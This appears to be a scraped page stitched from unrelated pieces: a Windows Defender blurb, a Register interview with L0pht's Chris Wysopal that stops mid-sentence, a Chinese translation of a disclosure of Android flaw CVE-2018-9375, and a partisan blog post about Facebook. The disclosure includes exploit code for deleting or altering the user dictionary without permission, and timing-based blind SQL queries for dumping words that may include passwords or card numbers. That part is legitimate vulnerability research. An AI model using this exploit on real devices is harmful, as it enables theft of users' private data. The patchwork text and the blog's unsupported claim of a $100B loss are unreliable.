Microsoft is creating a 400 million computer-strong machine learning network to build its next generation of security tools. The new AI-backed security features will start with its enterprise customers, but eventually filter down to Windows 10 systems for regular consumers. Windows Defender is constantly improving in other ways, too, and is now one of the top enterprise and consumer security solutions . The below image illustrates a snapshot of how Windows Defender machine learning protections works.

          '90s hacker collective man turned infosec VIP: Internet security hasn't improved ...      Cache   Translate Page   Web Page Cache   

InterviewIt has been 20 years since Chris Wysopal (AKA Weld Pond) and his colleagues at the Boston-based L0pht* hacker collective famously testified before the US Senate that the internet was hopelessly insecure.

Youtube Video

Wysopal, now a successful entrepreneur and computer security luminary, recently went back to Capitol Hill, Washington**, with three of his colleagues (Space Rogue, Kingpin andMudge) to mark the anniversary of the first cybersecurity hearing in Congress.

Not much has improved in the two decades since, as we discovered when El Reg caught up with Wysopal, co-founder and CTO of application security firm Veracode, at the recent Infosec conference in London.

John Leyden, for The Register : I'd like to start by asking you how L0pht (the band) got together?

Chris Wysopal (AKA Weld Pond): L0pht had just started when I joined. It had only been in existence for less than a year. And I ran into one of the founding members, Brian Oblivion, on a bulletin board system because it's free. This is pre-internet, 1992. If you were on the internet then you've [ either ] got a corporate or academic connection.

I was working at Lotus at the time and I was dabbling with understanding the internet. But there was no way to talk to other people really that I knew of. So I was on the local bulletin board. Some of them were kind of hacker-oriented and I ran into this guy Brian Oblivion. He had some you technical files. He was hardware oriented. He was basically taking apart cell phones and looking at the firmware and figuring out how they worked.

I didn't know anyone else doing that, so I started an online friendship with him and then we met in person and he got to know me over just a few weeks. He said: "We've got this place in Boston called the loft. Why don't you come by there?"

There was a kind of like a vetting process to be like a credible hacker, I guess. I got invited over there and it was just this really rough space an old factory on the second floor. There was five other guys there and they had set up desks and they had all this old computer equipment there.

When I started to talk to them they said: "We started this place because our wives and girlfriends kicked us out of apartments because we had so much computer equipment."

Chris Wysopal (AKA Weld Pond) has become a successful computer security businessman and infosec luminary

El Reg : And weren't the telephone bills of the time quite high? [ This was the era of dial-up internet connections. ] Wysopal: Sure, having some shared resources [ was important ]. Back then it was paper manuals. We actually had binders of manuals. They had a library. The idea was: let's share all of our resources and computers because not everyone can have a Mac and have a BT 100 terminal and have a PC.

And so I thought the place was really cool and I said: "Can I join with you guys?" I shared a desk with this guy Kingpin. He was the youngest member. I think I was probably like 26, 27 at the time; I was the oldest. Kingpin was the youngest. He was 16.

That was the age span. People were in their early 20s.

L0pht's den in the early '90s (Photo via Chris Wysopal)

I joined up with them and it was really just a place to just play with the technology and just explore it. And then over time we started to sort of get a little bit more serious about it. We said: "Let's install a network, let's put a linux gateway in and let's build a website. Let's build a shell machine so we can let other people use our computers. People can log in remotely."

It started to go from just a shared space to sort of feeling like an organization, over time. There was never really any hierarchy. We each had our own areas of expertise: some people were hardware guys, some were software guys.

I was a windows programmer. The transition from DOS to Windows was happening at that time, actuallyWindows NT. That was what I had to offer in programming. I learned Linux from the other guys. So I learned Linux. I actually set up the first gateway and the first web server. I was a system administrator.

Back then the threat actors were basically were basically the teenage hacker; those people defacing websites and the occasional criminal. It wasn't the organized crime of today where people set out or even governments set out to steal money and monetise attacks...

So that's sort of how we got into this mode of being an organization and organizing different skills. Around '93 we got connected to the internet when the public internet was available. We had a 56K modem and we were on the internet.

We had all the bulletin board files that Brian [ Oblivion ] had on his bulletin board and other things.

El Reg : How did you come to be invited to testify before the Senate?

Wysopal: So what happened was once we started to get organized we started down this path of doing vulnerability research. We started looking at a lot of Microsoft products because we did see other people analyzing Microsoft. People were looking at Unix and Linux. We started looking at Microsoft and we found vulnerabilities in Windows, and in their Internet Explorer, and we said, well, this is like a consumer operating system. People are using Windows 95. People have no idea that the software they're using has many vulnerabilities. They don't know they need to patch their machine. They don't know anything about this.

So we started publicizing this online on our website and at some point reporters started to come to our website and say L0pht is saying Windows isn't secure.

This was new back then. We were one of the first people calling them [ Microsoft ] out. And so we got we got some notoriety about hacking Microsoft although we weren't hacking their network we were hacking their software.

El Reg : I started writing about security around that time. L0pht had the slogan of making the theoretical possible.

Wysopal: Microsoft were saying "this is a theoretical vulnerability" so what they were saying was you're going to have to write an exploit or we're not going to fix it.

So we started to get notoriety for calling out big corporations like Microsoft, IBM [and] Oracle. We got an article written about us in The New York Times Magazine. They came and interviewed us all, [ took ] pictures and explained what we were. Someone in The Washington Post saw that and then like a month or two later there was an article about us in The Washington Post . And I guess someone on Capitol Hill, they all read The Washington Post , they read it and there was a hearing. It was the very first hearing on government security. It was the committee on governmental affairs. Senator [ Fred ] Thompson was the majority leader: he is a Republican. His committee directed the Government Auditing Office to audit all the government agencies . This was in 1998: the very first audit of government agencies. Before then they had no idea how insecure they were. So they were going to have the GAO peopl

Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)
概述

前一段时间,我负责对Android智能手机进行审计,所有已安装的应用都在审计的范围之中。在要求的时间内,我决定对尽可能多的代码进行人工检查。正是在这次检查之中,我发现了一个漏洞,该漏洞在较新版本的Android系统上存在,允许我们与本应受到保护的内容提供者(Content Provider)――个人字典进行交互,“个人字典”中保存了用户在输入过程中自定义的词语拼写。

理论上,用户“个人字典”只应该允许特权账户访问,包括输入法编辑器(IME)和拼写检查程序。但事实上,我发现存在一种途径能够绕过限制,使恶意应用程序能够更新/删除个人字典中的内容,甚至还能够检索字典中的全部内容,这一过程无需任何权限,可以在用户不知情的情况下完成。

该漏洞被评定为中危漏洞,归类为特权提升类,并在2018年6月完成修复,漏洞影响6.0、6.0.1、7.0、7.1.1、7.1.2、8.0和8.1版本的Android系统。

用户的个人字典

Android中提供了一个“自定义字典”,可以由用户手动定义,也可以从用户的输入过程中自动学习。通常,用户可以从“设置 语言和键盘 个人字典”中访问该字典。考虑到该字典可以根据用户的输入而自动生成,那么其中很有可能包含用户的敏感信息,包括姓名、地址、电话号码、电子邮件、密码、企业名称、特殊关键词(例如感染疾病名称、服用药品名称、专业术语等),甚至还有可能包括信用卡号码。


Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)

用户还可以为每个单词或句子定义“快捷输入方式”,举例来说,在定义后,用户可以直接输入快捷方式名称(例如“myhome”),输入法就能自动识别并将其替换为完整的家庭地址。


Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)

在内部,这些单词都保存在SQLite数据库中,除“android_metadata”之外,该数据库只包含一个名为“words”的表,该表的结构共包含6个字段:

_id (INTEGER, PRIMARY KEY)
word (TEXT)
frequency (INTEGER)
locale (TEXT)
appid (INTEGER)
shortcut (TEXT)

我们主要进行研究的对象就是其中的“word”字段,因为顾名思义,这一字段中包含了所有的自定义单词。但除此之外,其他的所有字段和表也都可以利用同样的方式访问。

漏洞的技术细节

在以前版本的Android中,对个人字典的读写访问权限受到以下权限保护:

android.permission.READ_USER_DICTIONARY
android.permission.WRITE_USER_DICTIONARY

然而,在新版本中,原有的保护机制将不再适用。根据官方文档中的说明,从API 23版本开始,用户字典只能通过IME和拼写检查程序访问。因此理论上,只有特权用户(例如root和system)的IME和拼写检查程序才能访问作为内容提供者的个人字典(content://user_dictionary/words)。

我们可以检查AOSP代码库,重点分析修改后的版本中引入的名为canCallerAccessUserDictionary的新私有函数。此外,我们还关注从UserDictionary内容提供者进行调用的过程,以弄明白如何实现标准的查询、插入、更新和删除操作,以及如何防止未经授权的调用。

根据我们的分析,授权检查能够有效地对查询和插入操作进行校验,但针对更新和删除操作则没有及时地进行校验,从而引入了一个安全漏洞。借助该漏洞,任意应用程序都能够通过公开的内容提供者调用受影响的函数,从而绕过不及时的授权检察。

在UserDictionaryProvider class3的以下代码中,我们可以发现其中存在的问题,并且能够看到授权检查是在数据库已被更改后进行的:

@Override
public int delete(Uri uri, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.delete(USERDICT_TABLE_NAME, where, whereArgs);
break;
case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.delete(USERDICT_TABLE_NAME, Words._ID + "=" + wordId
+ (!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}
getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}
@Override
public int update(Uri uri, ContentValues values, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.update(USERDICT_TABLE_NAME, values, where, whereArgs);
break;
case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.update(USERDICT_TABLE_NAME, values, Words._ID + "=" + wordId
+ (!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}
getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}

此外,AndroidManifest.xml文件也仅针对存在显式输出的内容提供者提供额外的保护(例如内容过滤器和授权检查),而“个人字典”则不在此列:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

正因如此,攻击者就可以轻松借助任何恶意的应用程序来调用以下代码,从而在不请求任何权限的情况下更新用户个人字典中的内容:

ContentValues values = new ContentValues();
values.put(UserDictionary.Words.WORD, "IOActive");
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values,
null, null);

同样,删除个人字典中的任何内容(甚至是全部个人字典)也非常轻松:

getContentResolver().delete(UserDictionary.Words.CONTENT_URI, null, null);

理论上,在执行更新和删除这两类方法之后,都应该返回受影响字段的数量。而实际中,如果进行了非法调用,其返回值将始终为0。这样一来,攻击者会难以根据内容提供者的信息来判断其中的内容。

到目前为止,我们已经知道,攻击者有能力对个人字典进行更新和删除操作。但一些攻击者可能不止局限于此,他们还希望能够访问个人数据。

尽管查询函数的校验机制不存在上述漏洞,但攻击者仍然可以利用基于时间的侧信道攻击方式,来转储其中的全部内容。由于where参数可以完全被攻击者控制,并且成功执行更新操作的语句与不执行任何操作的同一语句相比用时更长,所以这一攻击过程被证明是有效的。

简要概念证明

恶意应用程序可以在本地运行以下代码片段:

ContentValues values = new ContentValues();
values.put(UserDictionary.Words._ID, 1);
long t0 = System.nanoTime();
for (int i=0; i<200; i++) {
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values,
"_id = 1 AND word LIKE 'a%'", null);
}
long t1 = System.nanoTime();

在使用相同语句,进行足够多次调用(例如200次,这一数值取决于设备性能)之后,结果为“True”的SQL条件和结果为“False”的SQL条件将具有明显的时差(t1-t0),这样一来,攻击者就可以通过利用基于时间的SQL布尔盲注攻击,提取到受影响数据库中的所有信息。

因此,如果字典中第一个用户定义的单词以“a”字母开头,那么这一代码片段的执行所需时间将会更长(例如需要5秒),因此该SQL条件将被评估为“True”;假如字典中第一个用户定义的单词不以“a”字母开头,那么由于不会执行更新操作,这一代码片段的执行所需时间将会更短(例如需要2秒),因此该SQL条件将被评估为“False”。如果猜测错误,我们可以继续尝试“b”、“c”等字母;如果猜测正确,那我们就知道了单词的第一个字符,可以继续采用相同方式猜测出第二个字符。以此类推,最终攻击者能够转储整个字典,或者是其中任何可筛选的字段子集。

要避免更改数据库中的内容,我们可以更新检索到的单词“__id”字段,从而匹配其原始值,相关语句如下所示:

UPDATE words SET _id=N WHERE _id=N AND (condition)

如果条件为真,标识符为“N”的相关行都将以不实际更改其标识符的方式进行更新,它将被设置为其原始值,而行将保持不变。这是一种利用执行时间作为侧信道从而提取数据的非入侵式方法。

我们可以使用任何子选择语句来替换上面的条件,因此可以查询SQLite中支持的任何SQL表达式,例如:

字典中是否包含“something”这个特定词?

检索所有16个字符的单词(信用卡号经常为16位)

检索具有快捷方式的所有单词(用户经常会为地址创建快捷方式)

检索包含“点”的所有单词(例如网址、邮箱地址等)

实际漏洞利用

上述过程在进行优化后,完全可以自动化执行。因此,我开发了一个简单的Android应用程序,来证明该漏洞可以利用,并测试其有效性。

我们之前的概念验证(PoC)应用程序是基于这样的假设:攻击者可以通过内容提供者,盲目地对UserDictionary数据库中的任意行执行更新操作。如果UPDATE语句影响了其中的一行或多行,那么该操作的执行将会花费更多的时间。根据这一时间,攻击者就可以推断出SQL条件是否大概率为真。

但是,在这里,攻击者没有任何关于其内容的信息(甚至都没有内部标识符的值),所以只能遍历所有可能的标识符值。我们将从标识符值最小的那一行开始,逐一猜测其“frequency”字段的值,可以使用多种有效的方法来完成这一步骤。

由于多个共享的进程会同时在Android中运行,因此执行相同调用的总用时将受到多个因素的影响。然而,从统计角度来看,如果重复相同的调用,大量的重复过程应该会让我们得到一个非常平均的数值,这也就是要调整每个设备和迭代次数的原因。

在之前,我尝试的是一种比较复杂的方法,但其实还存在一种更为简单的方法来获得准确可靠地结构。只需要重复始终评估为“True”(例如WHERE 1 = 1)或“False”(例如WHERE 1 = 0)的相同数量的请求,并将平均时间作为区分二者的判断阈值,就可以实现区分。如果实际时间大于阈值,则为“True”,反之则为“False”。在这里,K.I.S.S.原则能够很好地应用,并且被证明确实有效。


Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)

在我们有方法区分正确和错误的假设之后,转储整个数据库就变得迎刃而解了。尽管在上一节中提出的示例很容易理解,但这并不是提取信息的最有效方法。在我们的PoC中,我们将使用二进制搜索算法替代任何数字查询,具体方法如下:

确定表的行数(可选)

SELECT COUNT(*) FROM words

确定最小标识符

SELECT MIN(_id) FROM words

确定具有该标识符的单词的字符数

SELECT length(word) FROM words WHERE _id=N

以迭代的方式,逐字符进行提取

SELECT unicode(substr(word, i, 1)) FROM words WHERE _id=N

确定最大标识符,该标识符大于我们获得的标识符,并且是重复的

SELECT MIN(_id) FROM words WHERE _id > N

请注意,我们无法直接检索任何数值或字符串值,因此就需要将这些表达式转换成一组布尔查询,并根据其执行时间将其评估为True或False。这就是二进制搜索算法的工作原理,我们不是直接查询数字,而是去查询它是否大于X。在每次迭代中调整X的值,直到我们在log(n)次查询后找到正确的值。举例来说,如果要检索的当前值是97,那么我们对算法执行跟踪,如下所示:

PoC工具

上述过程已经在我们的PoC工具中实现,如下所示。大家可以从我们的GitHub中找到此PoC的源代码和已经编译过的APK: https://github.com/IOActive/AOSP-ExploitUserDictionary 。

接下来,我们来看看该工具的用户界面和特性。


Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)

应用程序所做的第一件事就是尝试直接访问个人字典的内容提供者,并查询条目数。在正常情况下(不以root等身份运行),我们是不应该具有访问权限的。

如前文所述,只需要调整两个参数:

初始迭代次数:重复同一次调用的次数;

最小时间阈值(以毫秒为单位):将被视为最低可接受值的时间。

尽管当前版本的工具会自动调整这两个值,但在最开始的阶段,一切都要手动进行。

从理论上说,这些值越大,我们获得的准确度就越高,但提取速度也会相对慢一些;这些值越小,运行的速度将会越快,但结果可能就不是那么准确。正因如此,我们设置的默认迭代次数为10次,默认最小时间阈值为200毫秒。

在按下START按钮后,应用程序将开始自动调整参数。首先,它会运行一些查询并丢弃结果。因为最初的查询准确率较低,没有一定的代表性。随后,它将执行初始的迭代次数,并估算相应的阈值。如果获得的阈值高于我们配置的最小值,那么将会连续运行20次查询来测试其准确度,测试过程交替使用真假语句。如果准确度不够高(只允许出现1次错误),那么工具将会增加迭代次数,并重复该过程,直至调整为合理的参数。

在进程启动后,一些控件将会被禁用,我们能够在下面的日志窗口中看到详细的输出(也可以通过logcat),包括当前行的标识符、所有SQL子查询、总时间和评估的准确性。如果检索到任何字符,会立即出现在上面一行。


Android用户字典侧信道信息泄露漏洞(CVE-2018-9375)

最后,右侧的“UPD”和“DEL”按钮负责实现对内容提供者的直接调用,以执行UPDATE操作和DELETE操作。它们被限制为仅能影响以“123”开头的单词,目的是为了避免意外删除任何个人字典。为了进行测试,我们需要手动添加这一条目。

演示

在下面视频中,我们使用了真实设备对这一工具进行了演示:

https://youtu.be/8i-oMcaJw40 其他需要考虑的因素

由于理论和实践之间会存在差距,所以我想在这里分享一下我在设计和开发这个PoC过程中所遇到的一些问题。首先,这个工具是一个快速编写而成的PoC,主要目的是证明这一漏洞的确实存在,因此该PoC具有一些限制,并且其中的代码没有遵循良好的编程原则。

在初始阶段,我并没有关注UI涉及,所有内容都被转储到Android日志中作为输出。当我决定在GUI中显示结果时,我必须在单独的线程中运行所有代码,以避免阻塞UI线程(这可能会导致应用程序被系统认为无响应而被强行结束)。在进行这一个简单的更改之后,其准确性大幅降低,原因在于该线程的优先级不高。因此,我将其设置为“-20”,这是系统允许的最大优先级,在设置完成后一切恢复正常。

如果从单独的线程更新UI,可能会导致崩溃。因此,为了显示日志消息,我必须使用runOnUiThread调用来对其进行调用。在真正的漏洞利用中,其实根本不需要UI。

如果个人字典为空,我们就不能强制任何行进行更新,因此所有查询的耗时将非常相似。在这种情况下,由于没有任何内容可以被提取,同时工具也不能调整参数,因此最终工具会停止运行。在一些特殊情况下,我们即使使用空数据库也可以随机进行校准,这时将会尝试提取垃圾数据或伪随机数据。

在一般的智能手机中,操作系统会在一段时间后进入睡眠模式,而在睡眠模式工具的性能会大幅降低,导致执行时间超过预期值,因此所有调用都会被评估为“True”。针对这一问题,我选择了一个比较简单的解决方案:保持屏幕开启,并通过电源管理器唤醒设备,以防止操作系统暂停应用程序。但我所发布的版本没有加入这一特性,只在这里特别提出。

同样,旋转屏幕也会造成一些问题,因此我强制该应用程序始终是横屏模式,避免发生自动旋转,同时横屏也有助于尽可能在一行中显示完整的信息。

在按下“START”按钮后,某些控件将会永久禁用。如果需要重新调整参数或者多次运行,那么需要将其关闭并重新打开。

并行的一些外部事件和执行(例如:同步电子邮件、接收推送消息)可能会干扰应用程序的行为,从而导致不准确的结果。如果发生了这种情况,需要在不被干扰的状态下再次尝试,例如可以禁用网络,或者关闭所有其他程序。

UI不支持国际化,该工具没有为提取Unicode中的单词而专门设计。同时,该工具故意设定成只能提取前5个单词并按照其内部标识符排序,以避免被用于非法用途。

漏洞修复

从源代码的角度来看,漏洞修复方法非常简单。只需要将负责检查权限的调用移动到受影响函数的开头就可以解决问题。除了提供漏洞信息之外,我们还向Google提供了一个补丁文件,其中包含建议的修复程序: https://android.googlesource.com/platform/packages/providers/UserDictionaryProvider/+/cccf7d5c98fc81ff4483f921fb4ebfa974add9c6 。

由于该漏洞已经被官方修复,因此作为最终用户,大家必须确保当前安装的安全补丁中包含CVE-2018-9375的补丁。例如,在Google Pixel/Nexus中,该补丁是在2018年6月发布的: https://source.android.com/security/bulletin/pixel/2018-06-01 。

如果由于任何原因,用户无法对设备进行更新,那么就应该检查个人字典中的内容,并确保其中不包含任何敏感信息。

总结

软件开发是一个复杂的过程,一个微小的错位就会导致漏洞的出现。这一漏洞的成因原本是为了提高个人字典的安全性,使其不易被访问,但却因为一个疏漏获得了截然相反的结果,并且近3年来都没有被注意到。

要发现这类漏洞,我们需要阅读并理解源代码,只需要遵循执行流程认真阅读。自动化测试可能会有助于在早期阶段发现此类问题,但这一过程通常并不是那么易于实现和维护。

此外,我们在这个过程中,还学会了如何从一个漏洞中获得最大的效益,这个漏洞原本只允许我们盲目地破坏或篡改数据,但我们利用了侧信道攻击方式,最终获取到了字典中全部的内容。

作为白帽,应该始终跳出固有的思维模式考虑问题,并且牢记:时间是最宝贵的资源之一,每一纳秒都很重要。

A very thought-provoking topic by that title over at Forward Observer today:
“There is currently no U.S. government organization, U.S. nongovernmental organization, or U.S. academic institution that focuses on the full range of unconventional, irregular, political, informational, diplomatic, and economic threats and activities employed by adversary powers.” 
There's a lot of things worth reading in it.

My 2¢:

Facebook's anti-conservative/alt-right/anything-less-than-frothing-moonbat-communist campaign has cost them $100B in real value on the stock market, the biggest loss of any firm in stock market history. Google and the other platforms are about to get a similar lesson on asymmetrical warfare, particularly the economic kind.

Nature abhors a vacuum, and all they're doing is creating a gaping opening for someone, or ten thousand someones, to exploit and become the Fox Network of social media. It's already happening to a small degree, but the harder the Zuckerbergs and Gates' squeeze their jello empires, the more of it leaks out of their grasp forever.
